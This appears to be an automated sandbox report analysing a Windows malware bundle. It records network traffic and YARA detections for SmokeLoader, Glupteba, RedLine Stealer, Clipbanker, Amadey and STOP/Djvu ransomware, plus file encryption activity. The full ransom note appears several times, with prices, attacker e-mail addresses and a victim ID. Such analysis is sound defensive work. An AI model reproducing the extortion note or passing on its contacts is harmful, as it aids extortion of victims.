Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 209.197.3.8
Source: unknown	TCP traffic detected without corresponding DNS query: 23.15.241.48
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.192.18
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.192.18
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.192.18
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.192.18

Source: C06.exe, 0000001C.00000003.2412186112.0000000003320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: C06.exe, 0000001C.00000003.2412983985.0000000003320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: C06.exe, 0000001C.00000003.2413200725.0000000003320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)

Source: unknown

HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk; 1P_JAR=2023-10-04-09

Source: unknown	HTTPS traffic detected: 23.36.118.84:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.36.118.84:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.215.85.209:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 213.6.54.58:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.57:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.86.8:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.190.195:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.21:443 -> 192.168.2.4:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.21:443 -> 192.168.2.4:49849 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 0.3.file.exe.2330000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vdhbahw.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.6545.exe.20a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.6545.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6b0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.vdhbahw.6c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vdhbahw.6b0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.3.6545.exe.20b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.2425606008.00000000020B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1746495018.0000000002351000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2425763443.0000000002221000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1956532519.00000000006C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1746454910.0000000002330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2007809897.0000000002111000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2007419730.00000000006C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2372861867.00000000020B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1674427121.0000000002330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: 11_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

11_2_004822E0

E-Banking Fraud

Yara detected Glupteba

Source: Yara match	File source: 33.2.9EB5.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.9EB5.exe.5120e67.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.2642720211.0000000005563000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2628119160.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9EB5.exe PID: 5356, type: MEMORYSTR

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\_readme.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.You can get and look video overview decrypt tool:https://we.tl/t-xN3VuzQl0aPrice of private key and decrypt software is $980.Discount 50% available if you contact us first 72 hours, that's price for you is $490.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:support@freshmail.topReserve e-mail address to contact us:datarestorehelp@airmail.ccYour personal ID:0805JOsie9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K

Jump to dropped file

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: C06.exe PID: 3672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C06.exe PID: 2540, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 34.2.C06.exe.23f15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.C06.exe.24015a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.C06.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.C06.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.C06.exe.23215a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.C06.exe.23f15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 50.2.C06.exe.23415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.C06.exe.23215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 50.2.C06.exe.23415a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.C06.exe.24015a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.C06.exe.23215a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.C06.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.C06.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.C06.exe.23215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.4133525331.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.2555352471.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2441220618.00000000023F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.2622961191.0000000002340000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2324721970.0000000002400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.4133230530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: C06.exe PID: 6836, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C06.exe PID: 7096, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C06.exe PID: 5104, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C06.exe PID: 2076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C06.exe PID: 3672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C06.exe PID: 2540, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C06.exe PID: 3616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C06.exe PID: 3808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C06.exe PID: 5172, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Local\Temp\C06.exe	File moved: C:\Users\user\Desktop\DTBZGIOOSO\KATAXZVCPS.mp3
Source: C:\Users\user\AppData\Local\Temp\C06.exe	File deleted: C:\Users\user\Desktop\DTBZGIOOSO\KATAXZVCPS.mp3
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	File moved: C:\Users\user\Desktop\DVWHKMNFNN.jpg
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	File deleted: C:\Users\user\Desktop\DVWHKMNFNN.jpg
Source: C:\Users\user\AppData\Local\Temp\C06.exe	File moved: C:\Users\user\Desktop\NWTVCDUMOB.png

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\AppData\Local\Temp\C06.exe	File dropped: C:\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-xn3vuzql0aprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshmail.topreserve e-mail address to contact us:datarestorehelp@airmail.ccyour personal id:0805josie9vcnqvpqjiarorpd1aidud2f4pxzk4k1f4znrs3k	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C06.exe	File dropped: C:\$WinREAgent\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-xn3vuzql0aprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshmail.topreserve e-mail address to contact us:datarestorehelp@airmail.ccyour personal id:0805josie9vcnqvpqjiarorpd1aidud2f4pxzk4k1f4znrs3k	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C06.exe	File dropped: C:\$WinREAgent\Scratch\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-xn3vuzql0aprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshmail.topreserve e-mail address to contact us:datarestorehelp@airmail.ccyour personal id:0805josie9vcnqvpqjiarorpd1aidud2f4pxzk4k1f4znrs3k	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C06.exe	File dropped: C:\Users\user\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-xn3vuzql0aprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshmail.topreserve e-mail address to contact us:datarestorehelp@airmail.ccyour personal id:0805josie9vcnqvpqjiarorpd1aidud2f4pxzk4k1f4znrs3k	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 30.2.yiueea.exe.2c0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 34.2.C06.exe.23f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 34.2.C06.exe.23f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.2.C06.exe.24015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.2.C06.exe.24015a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 41.2.C06.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 41.2.C06.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.2.374E.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 17.0.yiueea.exe.2c0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 11.2.C06.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.C06.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 44.2.build3.exe.24215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 44.2.build3.exe.24215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 8.2.C06.exe.23215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.C06.exe.23215a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 30.0.yiueea.exe.2c0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 34.2.C06.exe.23f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 34.2.C06.exe.23f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 50.2.C06.exe.23415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 50.2.C06.exe.23415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 44.2.build3.exe.24215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 44.2.build3.exe.24215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 8.2.C06.exe.23215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.C06.exe.23215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.0.374E.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 50.2.C06.exe.23415a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 50.2.C06.exe.23415a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.2.C06.exe.24015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.2.C06.exe.24015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.2.yiueea.exe.2c0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 15.2.C06.exe.23215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.2.C06.exe.23215a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 28.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 28.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 28.2.C06.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 28.2.C06.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 31.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 31.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 41.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 41.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 31.2.C06.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 31.2.C06.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.2.C06.exe.23215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.2.C06.exe.23215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000020.00000002.2425606008.00000000020B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1746361183.00000000008AA000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1746495018.0000000002351000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000032.00000002.2622843154.00000000021A4000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000020.00000002.2425763443.0000000002221000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000007.00000002.2007648525.0000000000738000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000023.00000002.2433596886.000000000255D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000012.00000002.2324274477.0000000002277000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000020.00000002.2425306987.0000000000608000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000000.2281454429.0000000000E01000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 00000011.00000000.2288036934.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 00000000.00000002.1746454910.0000000002330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000001E.00000002.2313452873.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 0000001C.00000002.4133525331.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001C.00000002.4133525331.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000001E.00000000.2312516328.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 0000002C.00000002.2602223734.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000002C.00000002.2602223734.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000F.00000002.2302460111.000000000217C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000020.00000002.2425574337.00000000020A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000007.00000002.2007809897.0000000002111000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000029.00000002.2555352471.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000029.00000002.2555352471.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000022.00000002.2441220618.00000000023F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000007.00000002.2007419730.00000000006C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000021.00000002.2642267727.0000000004D21000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000032.00000002.2622961191.0000000002340000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000007.00000002.2007384509.00000000006B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000002C.00000002.2600617926.00000000008DD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000002.2288944842.0000000000E01000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 00000022.00000002.2440436850.0000000002156000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000012.00000002.2324721970.0000000002400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.1746162536.00000000006B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000008.00000002.2249920572.0000000002289000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000011.00000002.4132494620.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001F.00000002.4133230530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001F.00000002.4133230530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: Process Memory Space: C06.exe PID: 6836, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: C06.exe PID: 7096, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: C06.exe PID: 5104, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: C06.exe PID: 2076, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: C06.exe PID: 3672, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: C06.exe PID: 2540, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
